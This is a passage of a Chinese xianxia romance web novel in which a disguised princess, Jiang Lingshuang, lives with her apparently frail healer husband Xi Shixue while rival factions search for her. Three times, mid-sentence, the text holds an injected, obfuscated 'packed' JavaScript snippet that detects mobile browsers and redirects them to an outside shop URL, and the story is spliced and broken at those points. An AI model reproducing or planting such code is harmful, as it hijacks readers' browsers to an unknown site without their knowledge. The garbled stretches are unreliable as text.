她后退一步,奚时雪却上前一步,边亲边带着人退回屋里,绵密微凉的吻已经落到脖颈,姜令霜的脊背抵着餐桌边沿,抬起胳膊抵在两人中间。 奚时雪停下,微抬眼帘看着她。 热切窒息的吻让她恍惚间觉得,眼前这人不像个体弱的医修,掩在素净白衫下的身体是劲瘦健硕的,对她素来温柔和善的夫君,竟然也隐约露出些强势。 奚时雪很喜欢同她接吻。 他偏过头含住她的下唇轻吮了口,放轻了动作和声音,磨蹭着她的唇说道:“阿霜,你不喜欢我吗?” 姜令霜一百来岁了,长这么大,敬仰钦佩愿意誓死追随她的人有不少,恨她入骨想要杀她的人也不少,什么大风大浪没见过,但普天之下,敢勾引她的人绝无仅有,何曾受过这等美色的诱惑? 她下意识要说些什么,眼前的美人淡淡掀了掀眼皮看过来,如雪一般白的面容拢在阴影中,只一眼,姜令霜心里的闷气又不争气地散了回去。 算了,跟他计较什么呢,明面上他们确实是道侣,道侣之间没说不能亲嘴。 “我怎么会不喜欢你呢?” 姜令霜散漫一笑,握住他拢在自己腰侧的手背,奚时雪的手掌宽大,她挤开他的指缝与他十指相扣,掌心贴着掌心。 她踮脚轻轻啄了啄他的唇角:“这世上我最喜欢你了。” 奚时雪笑了笑,定定看着她:“这世上我也最喜欢阿霜了。” 他靠近她,将她拢进怀中,感受到她呼吸的频率,一帧一帧顺着耳廓传进来,与他胸腔内鼓动的心跳频率逐渐齐平。 奚时雪闭上眼,轻声道:“这世上我最喜欢你,阿霜,你也得最喜欢我。” - “殿下,夜深了,您身子不好,还是莫要吹风。” 大氅被披上来,红俏忧心地看着眼前的女子。 玉琼音拢住领口,神色恹恹,淡声问道:“外头什么情况?” 红俏恭声道:“傀是极阴极寒之体,如今这天下大寒正助其一臂之力,令其实力大增,可我们的修士在饕雪侵袭下并不如往日强盛……没抓到那只傀,它杀了人便跑了。” 玉琼音问道:“薛琢呢?” 刚问出口,侧上方传来道吊儿郎当的声音:“我倒是不知道,玉公主这般关心本少爷。” 红俏眉眼一凛,旋身从袖中取出匕首,抬步侧挡至玉琼音身前,警惕盯着房檐上的金衣男子。 屋脊上的落雪被扫开,薛琢是实打实的仙二代,自是不会委屈自己,还铺了个垫子,单腿屈起大摇大摆坐在上头,一手托腮,俊秀的眉眼间尽是戏谑。 玉琼音身旁这几个端茶倒水的侍女随从都在元婴以上,可却无一人觉察出他的到来。 薛琢闷闷笑了声:“哪天若本少爷对玉公主起了杀心,怕是殿下怎么死的都不知道。” “你——”红俏气急,抬步便要上前。 “退下。”玉琼音抬手按下红俏的胳膊,方才还怒上心头的红俏一句也未多说,当即收刀退至十几步远外。 薛琢也未下来,仍坐在房顶上,并未升起灵力屏障,任由漫天的落雪洒在他的黑发和肩头上。 他低头看着廊下的玉琼音,笑道:“你的人真是无用,那么多人,竟也让那只傀逃了。” 玉琼音淡淡道:“它既在青山郡,那便跑不出去,你不如想想如何跟天下交代,这傀影封禁在你们北洲圣物无晦镜中,本该由北洲关押,北洲王城却连圣物都丢了。” 薛琢半分不生气,唇角弯了弯,舒展长腿懒声道:“丢了就再找回来呗,它要是不丢,我那母亲还不一定允我当这个少君呢。” 雪下得太大,寒风刺骨,玉琼音将大氅紧了紧,掩唇轻咳几声,身后的红俏赶忙上前。 “殿下,咱们进屋吧。” 玉琼音动也不动,仰头看向薛琢:“薛少君此番请缨前往南洲,明面要找回无晦镜,怕是另有所图吧,否则你一直追着我作甚?” 薛琢唇角的笑僵了瞬,片刻后耸了耸肩,状似无意道:“我们的目的是一致的嘛,你要找当年放傀杀你母后的人,我得找盗取无晦镜造傀的人。” 玉琼音淡淡道:“不找姜令霜吗?” 像是戳中了薛琢的痛点,他一改方才的不正经,气急道:“谁找她了!失踪两年了,说不定都死在哪里了!” 玉琼音道:“东洲王城的魂灯还没灭,她没死。” “没死就没死啊,跟我有什么关系!”薛琢站起身,居高临下看着玉琼音,心里那点隐晦的小心思被人毫不留情戳穿,他咬牙道,“小爷我跟她血海深仇,若让我见到她,对她笑一下,老子跟她姓!” 金衣青年起身,刚要转身跃下房檐,想到什么,又生生转了回来。 “我的暗卫来报,瞧见星巽堂的人了,徐南禺应当来了青山郡,若姜令霜真在这里,怕是踪迹已暴露。” 薛琢翻身离开,眨眼消失在黑夜中。 红俏小声道:“殿下,咱们需要出手吗,姜公主孤身一人,若和星巽堂撞上,怕是……” “她死不了,若没些本事,过去百年间,星巽堂早把她啃成渣了。”玉琼音抬手抖了抖斜斜飘落的雪花,转身朝屋里走。 “红俏,我们回去。” 红俏跟在她身后,回道:“是,殿下。” - 一阵风吹来,姜令霜猛地打了个哈欠。 蜷在她肩头的小蛇抬头看她:“风寒?” 姜令霜揉揉鼻头,身子后仰靠在树干上懒懒道:“并未,兴许谁说我坏话了。” 宁菡竖起蛇瞳,冷声道:“杀掉。” 姜令霜今日心情不错,屈起指节敲了敲宁菡的蛇头:“你已经是条百岁的蛇了,脾气该收些了。” “殿下,离淮呢?” “派他去做天大的事了。” 宁菡在她脖子上缠了一圈,亲昵蹭蹭姜令霜的脑袋,嘶嘶吐着信子:“那殿下出来做什么?” “砍柴。” 宁菡懵懵问:“柴呢?” “喏。”姜令霜下颌微扬,漫不经心为宁菡指了指。 宁菡看过去,风雪中那团逐渐靠近的黑影愈发清晰,直到能模糊瞧清人影,小蛇瞪大了蛇瞳。 “天大的事,就是砍柴?” “这就是天大的事。” 姜令霜拍了拍身上的风雪,翻身从百丈高的古树上跃下,离淮已经拖着捆柴走近,板着那张棺材脸,还没到姜令霜跟前,一松手将半人高的柴火扔到地上。 “殿下,天大的事给您办好了。”离淮加重语气,咬紧那四个字。 姜令霜点点头,单手拎上两箩筐的柴,对着他们说道:“你们找地方藏着,我会尽快善后带你们回去。” 她嗤笑一声,声音沉了些:“两年不见,我那兄长也不知想我了没。” 离淮拱手行礼,刚准备开口,宁菡歪歪脑袋,诚恳回道:“一定想了的,大殿下每日都想杀您的。” 离淮:“……” 离淮抬手握住蛇嘴,面无表情道:“殿下,若有需要,您即刻唤我们。” “警惕些,近来南洲不太平。”姜令霜将缠在她脖子上当条挂坠的小蛇解下来扔过去,离淮手忙脚乱接住。 刚走没几步,她又忽然停下,转身看向正教育小蛇的离淮。 “对了,去查件事。” 离淮赶忙正经起来,肃声道:“殿下,您说。” 姜令霜道:“原先你们说还有另一拨人在南洲寻人,去查查是不是参府的人,他们要找谁。” 离淮和宁菡齐声道:“是。” “还有。”姜令霜顿了顿,红唇微抿,说道,“想办法查查参府有没有个叫奚时雪的,他身份应当不一般,或许是参府奚家亲传那一脉,莫要惊动星巽堂。” 宁菡眨眨眼:“那不是您夫君吗?” 离淮瞪大了眼:“世家的亲传子弟怎么会有凡人,甚至奚家那老祖可是能徒手捏灵根的!” “去查就是了。”姜令霜转身,单手拖着离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她挽起袖子回到膳房,程寒舟送来的猪后腿很大一只,姜令霜寻思了下,奚时雪瞧着病骨支离的,估计还真弄不动,这等碎肉剁骨的活还是她来为好。 姜令霜五岁就能耍一手流利的刀法,长刀跟菜刀都是刀,没什么不同,她拔刀还没剁两下,就听到外头有推门的声音。 景宸三人拎着大包小包的菜站在院门处,他们三人之后,奚时雪面色平静,但能瞧出不开心,估计是这三个傻孩子死缠烂打跟来的。 看清姜令霜手里的菜刀,以及她站的地方,应可为脸色一变,连连叫着冲了出去:“师娘!刀下留猪!” 应煊拿下她手里的菜刀,路松盈托起她的肩膀好声好气请她出去:“这等做饭的活怎么能您来呢,太辛苦了,当弟子的看着实在惭愧。” “是啊是啊,日后还是莫要再进膳房了,油烟气太大。”景宸将东西放在廊下,飞快闪进了膳房。 姜令霜被他们三个请了出去。 奚时雪也来到了廊下,抖了抖伞面的雪,抬眸看向姜令霜:“阿霜,我回来了。” 姜令霜眉头微蹙:“今日怎么回来这般早?” “医馆不忙,便先回来了。”奚时雪递过去个木匣子,待姜令霜接过后,主动开口解释,“琳琅阁新到的发簪,我瞧着衬你。” 木匣子里是根漆金镶翠的凤羽金簪,姜令霜在王城时穿着繁丽,金饰能放满一间偏殿,来到青山郡后为了遮掩身份,乾坤袋里那些金簪再也没戴过。 奚时雪不是没送过金饰,相反,他有点钱几乎都花在她身上了,这让姜令霜那点早就不剩多少的良心时不时就得出来磨磨她。 她盖上木匣子推过去:“我说了,不必再为我添置东西。” 奚时雪接过,从容打开,将金簪取出,上前一步扶正姜令霜的额头,她还未退后,奚时雪已经寻着空隙为她簪进去。 他低头看她,目光描摹她皱紧的眉头,透过这张平平无奇的假面,好似看到那张浓丽的脸此刻是什么表情。 “阿霜,很漂亮。” 奚时雪低头,在她的眼尾落下轻如细羽的吻。 待他离开进入膳房后,姜令霜看着雪地上凌乱的脚印,迎面拂来的风中夹杂了细小的散雪,她忽然叹了口气,抬手揉了揉眉心。 奚时雪对她这般好,怕是已动了真心,若她直接坦白这是一场利用,对他是否有些过于残忍? 若她不明不白地消失,又是否会将这凡人后半生都搭进去,从此成为他心头无法放下的一片心结? 她该拿奚时雪怎么办呢? 7. 第 7 章 今日天刚亮,青山郡便封了城。 廊下摆了张躺椅,姜令霜盖了张薄毯坐在里头,身旁是张雕花镂空小桌,她端起奚时雪提前煮好的花茶抿了口。 院门外,三个傻孩子正在卖力铲雪,过去几天了,他们一点动静都没,不知何时才能将奚时雪带走,她已经足够贴心,为几人留下了不少独处时间。 奚时雪平日除了吃饭睡觉时和她一起,剩余时间几乎全和这三个孩子在一块,可她瞧着三个傻子像是干活上瘾了,整日进厨房比谁都勤快,实在无用至极。 “嘶。” 刺骨的痛自左腕向上蔓延,姜令霜眉心微蹙,握着茶杯的手一抖,杯子坠落在小桌上,温热茶水倾泻而出,沿着桌面淌落。 她拂开衣袖,手臂筋脉凸起,形似细针的东西在里头横冲直撞,姜令霜的五脏仿若燃起团烈火,唇角溢出一抹血迹。 “殿下!” 刚赶回的宁菡和离淮顾不得是否会被发现,从房顶翻下。 姜令霜抬眸低喝:“变回去!” 一藤一蛇挂在廊下的木栏上,借着蓬草的遮掩避人,姜令霜咽下喉口的血,生生将那根已窜到锁骨处的玲珑针逼了回去,宁菡和离淮看得慌张,焦躁不安地在木栏上爬来爬去。 玲珑针被逼回去,姜令霜擦去唇角血迹,咬牙道:“徐南禺!” 未等离淮和宁菡开口,她面上的冷色散去,淡声道:“说吧,查到什么了。” 离淮道:“殿下,我和宁菡随着一支走洲队去了王城,前来南洲的那一批人确实在寻一个大人物,那画像我们也瞧见了,与您的夫君有七分相似。” 姜令霜靠回躺椅中,懒懒拉了拉薄毯,单手屈起轻敲躺椅的扶手。 离淮又道:“可来南洲的那批人不是参府的,势力不清,而且参府奚家直系的弟子并未有人唤奚时雪。” 姜令霜轻扣扶手的指节一顿:“不是参府的人?也没有直系弟子唤奚时雪?” “对。” 姜令霜看向院外,从敞开的大门看出去,门前的积雪已被扫开,清理出一条可容两人通过的小路,路松盈似乎干累了,正抬手擦汗,景宸和应煊两人已清理到林前。 “南洲那拨人并非参府之人,却在找时雪,这三个来自参府的孩子跟他们并非一伙,两拨人都在找他?” 宁菡倒挂在木栏上,点点蛇头应道:“殿下的夫君,香饽饽。” 她说话一向这般直,姜令霜并未纠正,单手托腮看着外头的三个孩子。 “这三个傻孩子是参府之人毋庸置疑,他们的功法瞒不过我,我夫君姓奚,且精通医术,人也单纯,瞧着确实像参府的人,景宸他们既然来找他,那他跟参府就有关系,或许你们未查到。” 离淮追问:“殿下,现在该如何办?” “南洲那波人身份不知,意图不明,参府这三个孩子倒是没什么坏心,剩下的事你们别管了,我来查。” 姜令霜闭上眼,将薄毯往身上拢了拢。 宁菡顺着柱子爬到她的肩头,蛇头有气无力耷拉下来,闷声道:“殿下,不管他不行吗?” 离淮也附和道:“殿下,您留下金银财物便足够了,凡事岂能尽如人意,如今王城局势诡谲,大殿下不日便定会请神落诏,一旦他即位,便再无转圜余地,我们必须得尽快赶回去。” 姜令霜并未有反应,仍闭着眼,神色恹恹瞧着不太想听。 可有些话,离淮也必须得说,他化为人形上前一步:“属下知道是有些不厚道了,可我们走到这一步并不容易,岂能因为这些事徒增风险,王后离世前——” “闭嘴。” 话并未说完,离淮抿紧了唇,对上姜令霜冷淡的眸子,僵持几息功夫,最后化为一根绿藤缠上木栏。 姜令霜忽然坐直身子:“你们先走。” 宁菡和离淮来不及告辞,扭头窜出院里。 姜令霜动了个清洁术将唇齿间的血迹彻底擦去,重新躺回椅中,刚盖上薄毯便听到外头传来交谈声。 路松盈扯着嗓门道:“师父,您回来了。” 热络得仿佛奚时雪真是他们的师父,姜令霜唇角一抽,也不知这三个孩子的师尊若是听到会是什么反应。 奚时雪单手撑伞,推开半敞的院门,一眼瞧见躺在廊下的姜令霜,外头天寒地冻,这场雪灾严重到青山郡已经封了城,她却在外头睡着了。 他走过去,姜令霜似乎并未觉察,仍闭目小憩。 奚时雪将提着的篮子搁在膳房门前,朝姜令霜走去,临到她身前后俯身,替她掖住毯子的边缘。 姜令霜闷笑起来,再也装不下去,睁开眼道:“发现我装睡了?” 奚时雪替她拉了拉毛毯,温声道:“怎么在外头躺着,冷吗?” “等你回来呢。”姜令霜坐起身,院门被奚时雪关上,挡住了外头扫雪的三个傻孩子,如今院里只有他们两人。 “时雪,程家嫂子近些时日染了风寒,你先前拿的药吃了不见好,不若你再给开些调理的药,我过会儿给他们送去。” 奚时雪并未多问,回道:“好,我这便去开药。” 家里便存的有常备的药材,奚时雪去抓了几袋药,用细麻绳捆了起来交给姜令霜,还带了件厚实的芙蓉色披风。 “阿霜,试试合不合身。” 奚时雪酷爱给她买衣裳,好似为她花钱就如吃饭喝水一样必需,纵使她出去走洲不宜穿这些锦缎,哪怕这衣裳穿一两次便因打斗撕扯破烂,他仍会不厌其烦为她买上更多。 “没必要为我再添衣裳,够多了。” “为你买些东西,我很欢喜。” 他走过来,将披风为她穿上,姜令霜低垂着眉眼,无端觉得有些窒息,这一段长达一年半的婚事,是她不厚道了。 奚时雪将她的发尾从披风中捋出来,说道:“阿霜,去吧,路上慢些。” 姜令霜压下心头的愧疚,抬头看他,叮嘱道:“你身子弱,门前的雪便不要铲了,铲不动。” 刚推门而进的景宸:“?” “还有膳房角落的那一筐番薯,太沉了,会累着你的。” 路松盈:“??” “今日没来得及打水,如今外头风雪大,别出去了,会冻着你的。” 应煊:“???” 姜令霜还是不放心,回头看向拿着雪铲面无表情的三个孩子,嘱咐道:“他身子羸弱,你们能帮忙便多帮帮,别让他铲雪拎东西和打水。” 三人:“……” 可恶,肩头的伤还痛着。 奚时雪抬眸看过去,三个欲言又止的孩子陡然挺直腰板,异口同声道:“弟子谨记!” 终归是多了三个徒弟,家里的活有人帮着分担些,姜令霜便放下心,拎上东西出了门。 “莫要在我这里浪费时间,无论你们是哪里来的,要找谁,趁早滚。” 她方一走,奚时雪面上的温润烟消云散,单手拎起搁在廊下,重有半石的躺椅回了屋,两扇厚实的木门关上,发出沉闷的碰撞声。 院里的三人一言不发,安静了好一会儿,应煊点头道:“师父可真是全领域发展,毫无短板,这装得也忒像了些。” 景宸一个上前捂住他的嘴,低声骂道:“师娘不在这儿,你想今个儿去见你太爷啊!” 路松盈揉揉肩头,小声嘀咕:“可是确实很奇怪啊。” 虽然不知参府为何要找他,但这人也是可以独挑一方的大能,却要装成一个病骨支离的凡人,收起所有锋芒锐利,甘愿屈就于这一座小城,当个清贫的大夫。 人都往高处走,为了那点金银利禄争得头破血流,就连他们三个来此也是打着万一立功,能直入内门当首座弟子的目的,可那些世人奉为至宝的东西,他却弃之如敝履。 好像在此处当个大夫,便是最好的归宿。 - 风饕雪虐,这样的天气于人而言着实艰难竭蹶,若非王城开了国库补贴百姓农作损失,怕是得饿死一批人。 今日上午封了郡,街上的店也关了大半,一眼看去着实萧疏,漫天的风雪被隔绝在一座百丈高楼外,这是整座郡里最高的建筑,唯一能看遍青山郡的地方。 “主上。”一人上前,单膝跪地拱手道,“已封了郡,只能进不能出,若二殿下真在这里,必插翅难飞。” 徐南禺负手而立,头也不回道:“焉长老,请吧。” “等老夫一盏茶便可。”左侧一身着道袍的老者垂首应道。 徐南禺转身,抬手翻转布下结界。 老者盘腿席地坐下,自他周身灵力如墨般溢出,翻涌的浓黑灵雾冲出高楼,扑入白雪皑皑的尘世间,沿着街巷以疾雷之势游走,眨眼间便自千百家屋舍穿过。 非化神境瞧不见这黑雾,他这等绝顶的阵修,布下的地网阵足以搜遍青山郡,此次从生死境救出这位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414959|200739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被关押了几百年的人,星巽堂可出了不少代价,探子都死了不少。 炉子上的热水早已沸腾,徐南禺抬手将火关小,倒进些许盐。 一旁的人问道:“主上,方才大殿下传了信,勒令咱们五日内抓到人,若这次咱们空手而归,怕是大殿下那边不好交代。” “她不是在青山郡么,玲珑针在她体内,如今她的修为不如化神境。”徐南禺神情平静,垂眸看着自壶嘴冒出的白雾,“竟还不长记性,若非前些时日她贸然出手救了个孩子,怕是也不会暴露这般快。” 楼外的雪被隔绝在结界外,连一缕寒风都传不进来,徐南禺倒进茶叶。 “慈不掌兵,情不立事的道理,看来二殿下到如今都没学会。” 一盏茶煮好只需要半柱香,徐南禺撇去浮沫,斟上两杯热茶,转身道:“焉长老,茶好了。” “有了。”老者睁开眼,眸底凛然,“找到——” 话还未说完,自他身上窜出往外涌去的黑雾,被一阵忽然掀起的凛风倒吹而来,从他干枯瘪瘦的身体重重穿过,端坐在蒲团上的老者被急速带起的气流撞出几十丈远,将楼顶的立柱砸断数十根。 周围护法的人皆吐出口血,修为低者当即倒地,七窍流出浓黑的血。 徐南禺脸色骤变,身影一掠冲去他身旁,那在外叱咤一方的阵修大能被嵌进墙内,四肢关节处扎入尖利的雪刺,切断了他的经脉。 鹤发老者张了张嘴,和着不断外流的血,磕磕绊绊道:“有……有人在,是尊、尊者境。” 徐南禺急切道:“二殿下在哪里?” “东——” 他的唇瓣翕动,刚吐出一个字,方圆百里的雪好似被一股无形的力量卷起,裹挟着无穷无尽的杀意疾冲而来。 “主上!” 徐南禺被几个手下一起推下了高楼,仰面跌落急速下坠的瞬间,他看到整座高楼自底部爬上蛛网般的裂纹。 当他被楼下等候的人接住,天阶的传送法器打开,赶在下一波雪刃到达之前将他们吞入。 法器关闭的刹那,徐南禺不仅看到了锐利的雪刃朝他逼来,也看到了那栋楼。随着轰然一声响彻百里的鸣动,这栋楼塌了。 传送法器关闭,在千里之外再次打开,将几人送了出来。 徐南禺站不稳,摇摇晃晃低声咳嗽,唇中的雪滴落。 一旁的人慌忙上前。 “主上!” 徐南禺眨了眨眼,盯着脚边溢开的血红,忽然笑了声:“怎么可能呢?” “主上,尊者境的大能,还精通控雪之术的人……” “怎么可能是他!”徐南禺眸底赤红,低声厉吼,“他千年前便跟丹襄雪境融为一体了,他就是丹襄雪境!若他出来了,那里头的饕雪早就将咱们冻成冰碴了,何况他若能出丹襄雪境,为何不回参府,来这青山郡做什么!” 徐南禺看过去,他们已经被送出青山郡几千里外,若想杀他们,就算是尊者也得出了这郡。 可似乎他不想出来。 徐南禺擦了唇角的血,冷声道:“给大殿下传信,这次他得亲自来了。” 万里飘雪,鹅绒般的雪花落下,不少人从禁闭的门中走出,看着远处倒塌的高楼,无人敢说话。 半晌后,城门处的守卫讷讷道:“雪……雪怎么会把楼压塌呢……” 相隔十几条街外,姜令霜拎着袋药,刚走到程家门前,忽然抬眸看去。 身后始终跟随她的离淮和宁菡顾不得会暴露,化为人形,匆匆道:“殿下,是尊者境大能!” 姜令霜神情平静,眸光森寒,沉声道:“不仅有个尊者境大能,星巽堂也来了,我们的时间不多了。” 东街尽头的小院中飘出袅袅白雾,景宸三人顾不得看炉子,一个个起身仰头看向传来轰响的地方,年轻的孩子们阅历并不丰富,参府又素来隐世,他们何曾见过这等威压? 院门被推开,一人撑着柄青色竹骨伞走来,厚实的大氅披在身上,分毫没有压垮他的个子,反而衬得人更显高挑。 应煊激动道:“前辈,您感知到了吗,好强大的威压!比我们家主还强,这青山郡有个大能!” 奚时雪头也不抬,并未理会几个孩子,将竹骨伞合上搁在墙角,大氅挂在廊下的立杆上,拎着袋红糖进了膳房。 他挽起袖子,将面缸里发好的面拿出。 阿霜爱吃红糖馒头。 8. 第 8 章 敲门前,姜令霜屏退了宁菡和离淮。 开门的是程寒舟,见姜令霜来,他问道:“小霜,你咋来了?” “来看看嫂嫂。” 姜令霜在青山郡露面皆是化名兰霜,知道她本名的只有奚时雪,且还是帮她洗衣之时翻到了令牌,若非他并未追问,怕是他们这段道侣关系,从一开始便会被她砍断。 程寒舟退后一步,侧身让出条路:“劳你忧心了,近些时日这风雪太大,毓娘又体弱,风寒迟迟不好,药都吃了两轮。” 如今这世道,走洲虽险,但拿命搏来的活计也确实酬报丰厚,程寒舟早几年便买了大宅子,一家三口住在这里。 “在后面,毓娘老是咳嗽,担心感染给闺女,便住在了后厅。” 程寒舟在前头引路,姜令霜拎着药跟在后头。 当绕过长廊来到后厅,行至一处紧闭轩窗的卧房前,她停了下来。 “程兄,我能和嫂嫂单独聊一会儿吗?” 程寒舟闻言面露诧异:“嗯?” 姜令霜的话不多,整个走洲队都觉得她性子内敛,跟他们出任务的时候,她并不会多言,往往只有旁人主动搭话时才会多聊会儿。 知道程寒舟在惊讶什么,姜令霜弯了弯眸子,说道:“整日在家对着我夫君说话,他性子无趣极了,都没个女子跟我搭话,我想跟嫂嫂聊会儿。” 程寒舟了然,笑道:“可不是嘛,你嫂嫂也是,那你们聊,我去前厅看看囡囡。” “好。” 目送程寒舟离开,姜令霜的笑意收回,转身进屋关上房门。 一扇云纱屏风阻隔了视线,姜令霜透过屏风看向其后的模糊身影,那人抬手咳嗽着,哑着嗓音说道:“是霜妹妹来了吗?” 姜令霜走过去,看到榻上靠床半坐的女子,脸色苍白唇无血色,她恹恹抬起头,和姜令霜对视。 “霜妹妹,你坐。” 姜令霜在榻边坐下,笑盈盈道:“嫂嫂,听说你染了风寒迟迟不见好,我夫君又包了些药。” 毓娘艰难撑起身子,说道:“有劳妹妹和妹夫忧心了,方才听你想和我聊会儿,可我这风寒怕会染给你。” “没事,我身板硬朗。”姜令霜放下药包,俯身扶起毓娘的胳膊,好似在搀扶她坐起身。 “况且区区风寒,我夫君开了两回药竟还没吃好?”她低垂着眼,握住毓娘的手,温声道,“原来是只快要傀化的东西。” 凛然的风吹倒了桌上的蜡台,点燃的炭火也一并覆灭,开了一条缝的窗被轰然关上,随着咔嚓一声诡异的闷响,毓娘的右腕被生生折断,皙白的脸上迅速爬上如蛛网般的黑纹。 她秀丽的脸陡然狰狞,被姜令霜折断的手以诡异的姿势生生扭转回来,指端长出利甲,借力从榻上飞扑跃上屋内的横梁,像只蜘蛛一般攀在上头。 姜令霜仍坐在榻上,慢条斯理解下身上的芙蓉色披风。 “你竟不是筑基期?”毓娘的瞳仁不再黑白分明,反而变为诡异的红,仔细看着姜令霜周身,“原来是洞虚境修士,可如今却只有化神修为,如何和我打!” 许是觉得自己胜券在握,毓娘四肢着地,朝她疾驰冲来。 姜令霜收起披风,淡声道:“布结界。” 门外的廊下,缠绕其上的藤蔓和小蛇无奈点了点头,化为人形抬手结阵,隔绝这后厅所有的声响和灵压。 离淮双手环胸靠在门柱旁,嘴里叼了根甘蔗糖,嘀咕道:“被傀丝寄生的凡人,就算拔出傀丝后也无力回天了,看这女子的情况,怕是活不了几日,殿下何苦留她性命呢,打得束手束脚的。” 宁菡面无表情道:“心慈手软。” 离淮仰头,片状大的白雪飘飘洒洒落下,丹襄雪境出事,四洲三境二府全都遭了殃,一波未平一波又起,消失了几百年的傀竟出现了。 一刻钟后,里头打斗声停,离淮嚼碎嘴里的甘蔗糖,和宁菡一起推门进去。 姜令霜手里拽着根染血的傀丝,宁菡将琉璃瓶递过去,傀丝被吸入其中,离淮已经挽起袖子动手收拾起残局,要赶在程寒舟来之前将这屋子收拾妥当。 宁菡递过去锦帕,姜令霜擦去掌心的血,温声道:“嫂嫂,我留下的丹药只够吊你三日的命。” 毓娘靠坐在榻上,掩唇低咳,傀丝被拔出后,属于人的意识回归,与此同时,这孱弱到极致的身躯也需得她来承受。 她抬头看过去,笑了笑:“多谢妹妹。” 姜令霜红唇微抿,并未看她,低垂着眼,目光落在染血的帕子上。 “不害怕吗?” “自然怕。”毓娘拢了拢锦被,盖住自己冰冷的身体,“可困在那副躯壳里,日日承受被啃噬魂魄的痛苦,无法反抗,还要看着自己一点点丧失人的意识,直到彻底变成个怪物后屠杀我的丈夫和女儿,这更让我恐惧。” 离淮和宁菡已快速将卧房内收拾干净,看着沉默的姜令霜,并未开口说话,自觉退到门外。 姜令霜燃起灵力将锦帕烧了干净。 “我会查清控傀的人是谁。” 毓娘点点头:“那便够了。” 她顿了顿,抬头看着姜令霜,眼尾微弯道:“我会替妹妹瞒着的,妹妹帮了我,我知道这样子有些不厚道了,可我实在放心不下,可否劳烦妹妹一件事。” 宁菡皱眉,上前一步便要阻拦,还未来得及开口,便听到方才一言不发的人开了口。 “你说。” “我有个女儿尚且年幼,想拜托妹妹,若青山郡真遭了殃,还请妹妹离开时将她带走,这是我全部的家当,我的嫁妆和这些年老程攒下的钱,都给你。” 毓娘从床头的暗柜里取出个木匣子,双手捧起递向姜令霜。 姜令霜并未看她,也并未接过那木匣子,她转身朝外走。 毓娘的眸光一暗,唇抿了抿,眼帘半垂并未再开口挽留。 “好。” 清脆果断的回应传来,毓娘愣了一瞬,抬眸看过去,只看到芙蓉色的衣摆消失,门被关上,隔绝了风雪。 姜令霜路过前厅,程寒舟正在听女儿背书,他不识几个字,但毓娘书画兼修。 轩窗半开,姜令霜说道:“程兄,我先走了。” 程寒舟起身要来送她:“我送送你。” 姜令霜留下一袋油皮纸:“给囡囡买的糖葫芦,陪孩子念书吧,不用送我。” 她转身离开,直到走出程宅两条街外,肩头爬上一条小蛇。 借着披风毛领的遮挡,宁菡道:“殿下,你糊涂了。” 离淮化作人形,跟在姜令霜身旁:“那女子被种傀丝,控傀的人或许在此,看来青山郡不止那两只傀,玉公主来此怕也为了这件事,我们没功夫管这些,尽早回到东洲王城才是要紧事。” 宁菡嘶嘶吐着信子,绕到姜令霜的另一侧肩头,冷声道:“殿下,想想王后的死。” 姜令霜神情平淡,开口道:“将时雪安顿好,我们就走。” - “碍眼。” “讨厌。” “区区凡人。” “除了好看一无是处。 “哼。” 离淮捂住耳朵,单腿屈起坐在树上,肩上的小蛇立起上半身,蛇瞳冰冷,幽幽盯着远处小院里烧火的白衣青年。 宁菡骂够了,离淮掏掏耳朵,无奈道:“人好歹照顾了咱们殿下一年半呢,你积点口德吧。” 宁菡一别蛇头,叼着蛇尾不耐烦地绕来绕去,离淮眼也不眨地熟练将打结的蛇解救出来。 今夜用完膳已经是亥时,姜令霜在进水房前抬眸看向几十丈外的密林,坐在树上的离淮和宁菡脊背一寒,头也不回地窜开,被自家殿下赶走。 她沐浴用了两刻钟,从水房出来后,廊下挂着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414960|200739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被手洗好的衣裳,连同她的小衣也一并洗了干净,姜令霜耳根一热,别过头不看。 奚时雪背对她坐在院角的草棚下烧水,似乎并未觉察她的出现。 姜令霜蹑手蹑脚走过去,从他身后捂住他的眼睛,压低声音装出粗犷的声线:“打劫,交钱不杀。” 奚时雪弯唇笑了笑,握住她的手腕,配合她道:“钱在腰间的袋子里。” “算了,给你留点私房钱。”姜令霜趴在他的背上,从他身后探出头看过去,闷闷笑道,“我洗好了,你去洗吧,我方才听见你咳嗽了,今夜还在我屋里睡吧,为你温脉。” 奚时雪应下:“好。” 姜令霜回到卧房内,梳好发后铺了床,奚时雪进屋的时候,长发是干了的,姜令霜猜他或许是借着灵火珠烘干了发。 她侧躺在榻上,拍了拍身侧的位置:“你还睡外头。” 奚时雪在她身侧躺下,姜令霜闻到一股浅淡的雪莲香,略有些森寒,她握紧他的手腕,触感仍然冰冷,自打捡到奚时雪后,他似乎便没暖过。 姜令霜蕴出灵力为他温脉,两人面对面侧躺,日夜相处了一年半,她仍时常觉得,奚时雪应是她见过最好看的人了,这让她堂堂东洲公主,竟也变得些许肤浅,对他过于心软了些。 奚时雪腾出一只手,轻轻拂开她的鬓发。 